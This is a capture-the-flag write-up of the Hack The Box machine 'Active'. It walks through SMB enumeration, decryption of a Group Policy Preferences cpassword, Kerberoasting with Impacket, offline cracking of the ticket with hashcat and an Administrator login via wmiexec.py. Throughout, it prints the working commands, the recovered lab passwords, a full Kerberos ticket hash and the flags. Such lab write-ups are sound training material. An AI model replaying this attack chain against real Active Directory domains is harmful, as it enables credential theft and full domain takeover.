

Active (HTB) - Writeup

Pwned by: ziliel

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Difficulty: Easy

Date: 2025.06.15

Summary

Enumerated SMB and found the Replication share accessible anonymously, containing a Groups.xml with an encrypted password.

Decrypted the cpassword using `gpp-decrypt` and obtained valid credentials for the user SVC_TGS. Used these credentials to perform Kerberoasting, cracked the ticket offline, and got Administrator access.

Skills Required

Basic knowledge of AD authentication and shared folders

Skills Learned

SMB enumeration

Group Policy Preferences enumeration and exploitation

Identification and exploitation of `Kerberoastable` accounts

Enumeration

nmap

We start with scanning the Target for open ports and running services.

```
sudo nmap -Pn -p- -T4 --min-rate 1000 --max-retries 3 -sC -sV  
10.129.174.156 > nmap-deepscan.txt
```

```

(ziliel@ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Active/scans]
$ cat nmap-deepscan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 23:12 CEST
Nmap scan report for 10.129.174.156
Host is up (0.044s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2025-07-15 21:13:03Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-N
ame)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-N
ame)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49162/tcp open  msrpc         Microsoft Windows RPC
49166/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|_  2:1:0:
|_    Message signing enabled and required
| smb2-time:
|_  date: 2025-07-15T21:13:58
|_  start_date: 2025-07-15T21:09:44
|_  clock-skew: 15s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.88 seconds

```

We found that the `ldap` domain is `active.htb`.

enum4linux

Running a `enum4linux` full scan reveals SMB shares.

```
enum4linux -a 10.129.174.156
```

```
[+] Attempting to map shares on 10.129.174.156

//10.129.174.156/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//10.129.174.156/C$ Mapping: DENIED Listing: N/A Writing: N/A
//10.129.174.156/IPC$ Mapping: OK Listing: DENIED Writing: N/A
//10.129.174.156/NETLOGON Mapping: DENIED Listing: N/A Writing: N/A
//10.129.174.156/Replication Mapping: OK Listing: OK Writing: N/A
//10.129.174.156/SYSVOL Mapping: DENIED Listing: N/A Writing: N/A
//10.129.174.156/Users Mapping: DENIED Listing: N/A Writing: N/A
```

We have Read rights on the Replication share.

smbclient

Lets look whats inside the Replication share.

```
smbclient -N //10.129.174.156/Replication
```

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
.                D          0  Sat Jul 21 12:37:44 2018
..               D          0  Sat Jul 21 12:37:44 2018
Groups.xml       A        533  Wed Jul 18 22:46:06 2018
```

After some searching we find a Groups.xml file and download it.

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{
DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS"
image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-
AAB58578219D}"><Properties action="U" newName="" fullName=""
description=""
cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTL
fCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1"
acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

We found the username SVC_TGS and a AES-256 encrypted password

```
edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYd
Yw/NglVmQ
```

Foothold

GPP (Group Policy Preferences)

Among many other features GPP allows administrators to modify users and groups across their network.

When Administrators on a windows server change the Admin password to something new it becomes aes-256 encrypted and stored in the Groups.xml file. However Microsoft [published](#) the aes key in 2012 and passwords set using GPP became trivial to crack.

gpp-decrypt

Lets decrypt the key with gpp-decrypt .

```
(ziliel@ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Active/scans]  
$ gpp-decrypt edBShOwhZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ  
GPPstillStandingStrong2k18
```

Our new credential set in SVC_TGS:GPPstillStandingStrong2k18

smbmap

Lets map the SMB shares with our new credential set.

```
smbmap -H 10.129.174.156 -u SVC_TGS -p GPPstillStandingStrong2k18 -r
```

```
[+] IP: 10.129.174.156:445      Name: 10.129.174.156      Status: Authenticated
Disk                          Permissions      Comment
----
ADMIN$                        NO ACCESS      Remote Admin
C$                            NO ACCESS      Default share
IPC$                          NO ACCESS      Remote IPC
NETLOGON                      READ ONLY      Logon server share
./NETLOGON
dr--r--r--      0 Wed Jul 18 20:48:57 2018      .
dr--r--r--      0 Wed Jul 18 20:48:57 2018      ..
Replication              READ ONLY
./Replication
dr--r--r--      0 Sat Jul 21 12:37:44 2018      .
dr--r--r--      0 Sat Jul 21 12:37:44 2018      ..
dr--r--r--      0 Sat Jul 21 12:37:44 2018      active.htb
SYSVOL                  READ ONLY      Logon server share
./SYSVOL
dr--r--r--      0 Wed Jul 18 20:48:57 2018      .
dr--r--r--      0 Wed Jul 18 20:48:57 2018      ..
dr--r--r--      0 Wed Jul 18 20:48:57 2018      active.htb
Users                  READ ONLY
./Users
dw--w--w--      0 Sat Jul 21 16:39:20 2018      .
dw--w--w--      0 Sat Jul 21 16:39:20 2018      ..
dr--r--r--      0 Mon Jul 16 12:14:21 2018      Administrator
dr--r--r--      0 Mon Jul 16 23:08:56 2018      All Users
dw--w--w--      0 Mon Jul 16 23:08:47 2018      Default
dr--r--r--      0 Mon Jul 16 23:08:56 2018      Default User
fr--r--r--      174 Mon Jul 16 23:01:17 2018      desktop.ini
dw--w--w--      0 Mon Jul 16 23:08:47 2018      Public
dr--r--r--      0 Sat Jul 21 17:16:32 2018      SVC_TGS
```

With our new user we have now read access to the Users , SYSVOL and NETLOGON shares.

```
smb: \SVC_TGS\Desktop\> ls
.                D                0 Sat Jul 21 17:14:42 2018
..               D                0 Sat Jul 21 17:14:42 2018
user.txt         AR                34 Tue Jul 15 23:10:40 2025
```

We find the user.txt flag in the Users share.

Privilege Escalation

We can now try Kerberoasting with our Credential set and dump all users with password hashes .

```
GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.129.174.156 -request
```

```
(ziliel@ziliel)-[/media/ziliel/SynchMedia/Synched_Media/OSCP+/OSCP_Notes/new/Writeups/OWN/Active/scans]
$ python3 /media/ziliel/SANDISK-256/scripts/impacket-0.12.0/examples/GetUserSPNs.py active.htb/SVC_TGS:GPPstillSta
ndingStrong2k18 -dc-ip 10.129.174.156 -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

ServicePrincipalName	Name	MemberOf	PasswordLastSet
LastLogon		Delegation	
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18 21:06:40.3
51723	2025-07-15 23:10:42.826139		

```
[-] CCache file is not found. Skipping...
$krb5tgt$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$611f8f38e39ec10c57190cedfbb24614$c5d2df1397fe1848b44
e40b8a26e81f90e642daa8b212dec82448b777167ff95856fc4d1a671b720d130da99d2d68b2f60cbc6c64d50ad751e7840ce41bb330995f3d4b
6f4b272159b91b6fc92d7d587f85f3c067d73d3201866f6c03d1a9a8014f025d5c9f860d03abcb66df246cbdd7c0ca04b60dde75db63c36b0167
8a004486f19a6f7d5a0aa570bf4b11d0f00753495b88374e09b3d7a1b75a34c648ff5f022ed628b896411ad967531d16e12e0b65597d5a0e3ec4
814a58899ee033bba1ed3bdad2abeddd4ade33b0e5ac6251033d14880c0d3f680162f3bf65daefe0bab954996e78183ea0e950ae91fecde19f83
9a0f78a02a08b86015474eac2f4a6b9fcf60efd11f43562240ffcbff205fe07d577de9f6325570bb4045577c813fdc60b9e22dc2e1921971095e
eed95354dfb15923d8f0c8a81eae78333eb5c61ef20908790e98c425c97149d3a228f204efd74d7940f2ac1ff7b5106c558822183360255af3f
fbb9614689a7dfe1eca1901b10ab43692baef2eb5f083a40c88d5a94c249b6d2739c3ff5fd6aeb1a2e77dc29a4f61a98b4923e25a1fa6a436ebd
ee68bf8db0d1ff0d0639881f590a373935ee31f3db13bf336afa9074029e629967eb251163d880f3a4a4e6a907407d7f079424f3538bfd074de
5da4fdd05db476853fcfbcd669c2883c42b9a5ce8a350dd3918250f2f126f95dc35d642464dd622869f47289021899db92fb59f5efa793302a1
658c10227b7f4a2ccf57d3bdfcc003f8ac6de730a246a7b88c0ec66a5aa9b843293f1e46b30dbd249738b93fe7af23ba8b564c52417499f8cece
ea5f95cfb6c3373fa10b9a9b76cabae25977f2a07ed2659f7ff9a4cae470cf7b7859a474253547cf34e6fb16a4ecb6da9738e010b440ee7741af
34f1cbec2a97e642c786d6936f38f8dee0206c6abee33faa4c339b691a80a69a37dbd91edd85120d3cd53dfca0d798e0ab8bfc2670fb73a31ce1
6949a93156e565e4f99ff5fa97862f692d49f5f3efef636df87aca858119aa11174df86b6635a52b22db241d0553e6c6138af30236cef3e6ad5
f579b33186b2e5923881891836ca02ea5a64815013bfa5b6ada10e69bac530c29f560eea8871d054dad8cc8edbd842cc18d87f03204d9c04792
2b9c7946dbe60cf8c761b604f82e56eb6e99a40ff65331fd9c791cfca2bd9e6a046f9eb6eef38616ec3dcc196ecfd4ef231562e5024740205a60
59b988d7a63817b9f7156
```

Hashcat

We can crack the `kerberos` hash with `hashcat` to get the Administrator Password.

```
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
```

```
:Ticketmaster1968
```

The administrator credential set seems to be `Administrator:Ticketmaster1968`.

wmiexec.py

Lets connect to the target machine using `wmiexec.py`.

```
python3 /media/ziliel/SANDISK-256/scripts/impacket-
0.12.0/examples/wmiexec.py
active.htb/Administrator:Ticketmaster1968@10.129.174.156
```

```
C:\Users\Administrator\Desktop>type root.txt  
f066b0c7c73cff9f4fbebfb880d3c09ac
```

We find the `root.txt` flag